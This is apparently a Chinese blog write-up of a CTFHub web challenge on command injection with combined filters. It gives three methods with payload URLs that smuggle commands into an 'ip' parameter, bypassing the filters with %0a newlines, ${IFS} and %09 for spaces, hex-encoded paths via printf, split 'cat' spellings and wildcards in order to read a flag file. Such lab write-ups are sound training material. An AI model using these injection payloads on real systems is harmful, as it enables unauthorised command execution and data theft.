CTFHUB-技能树-Web题-RCE（远程代码执行）-远程包含-命令注入-综合过滤练习

最新推荐文章于 2025-04-24 08:00:00 发布

python炒粉

最新推荐文章于 2025-04-24 08:00:00 发布

阅读量746

点赞数 5

分类专栏： CTFHUB解题思路文章标签： android

本文链接：https://blog.youkuaiyun.com/Static______/article/details/141326686

版权

CTFHUB解题思路专栏收录该内容

28 篇文章

订阅专栏

CTFHUB-技能树-Web题-RCE（远程代码执行）-远程包含-命令注入-综合过滤练习

根据题目提示
在这里插入图片描述

以及代码

在这里插入图片描述

法1：

分隔符可以使用%0a代替
若直接使用文本框上传命令会导致字符被转义，直接访问URL

payload：

/?ip=127.0.0.1%0als 
也就是=> 127.0.0.1;ls

在这里插入图片描述

接下来要访问flag_is_here,需要绕过空格过滤、flag文字过滤并且显示文件夹的内容

(space)` => `${IFS}

对于文件夹的内容，使用$(printf "路径")代替路径
对于路径文字过滤，转换成16进制字符串

访问URL

?ip=127.0.0.1%0als${IFS}$(printf${IFS}"\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65")
上这段话的意思就是：ip=127.0.0.1;ls flag_is_here

在这里插入图片描述

接着绕过cat，使用16进制字符串(HEX)访问文件即可

cat => ca''t / `ca""t

/?ip=127.0.0.1%0aca''t${IFS}$(printf${IFS}"\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65\x2f\x66\x6c\x61\x67\x5f\x39\x34\x33\x32\x34\x33\x38\x33\x31\x35\x30\x32\x30\x2e\x70\x68\x70")
=> 127.0.0.1;c'a't flag_is_here/flag_11510361119666.php

法2:

用more替换cat
用%0a去替换; 
空格用${IFS}替换 
flag可以用正则替换f*** 
flag可以用TAB加*替换，不过要用url编码TAB，表示为%09加*

输入命令

127.0.0.1%0als

使用%0a代替 ;

使用正则表达式代替flag，使用{IFS}代替空格，此处注意传cd到文件夹下以后，要使用ls将文件加下的文件列出来。最后输入命令

127.0.0.1%0acd${IFS}f***_is_here
${IFS}%0als

输入命令

ip=127.0.0.1%0acd${IFS}f***_is_here
${IFS}%0amore
${IFS}f***_5222980724357.php

，获取到flag

url表

在这里插入图片描述

%0a 代替 换行 ， %09 代替 TAB键 （因为flag被过滤了，所以我们通过TAB来补全flag_is_here）

　　 %5c 代替 \（用 \ 来分隔开 cat ，因为 cat 也被过滤了qwq）

法3：

查看flag_is_here文件夹下的文件：

?ip=127.0.0.1%0als*#*

?ip127.0.0.1%0als%09*is_here

?ip127.0.0.1%0acd%09*_is_here%0aca%5ct%09*_73122415714959.php

`
?ip127.0.0.1%0als%09*is_here

?ip127.0.0.1%0acd%09*_is_here%0aca%5ct%09*_73122415714959.php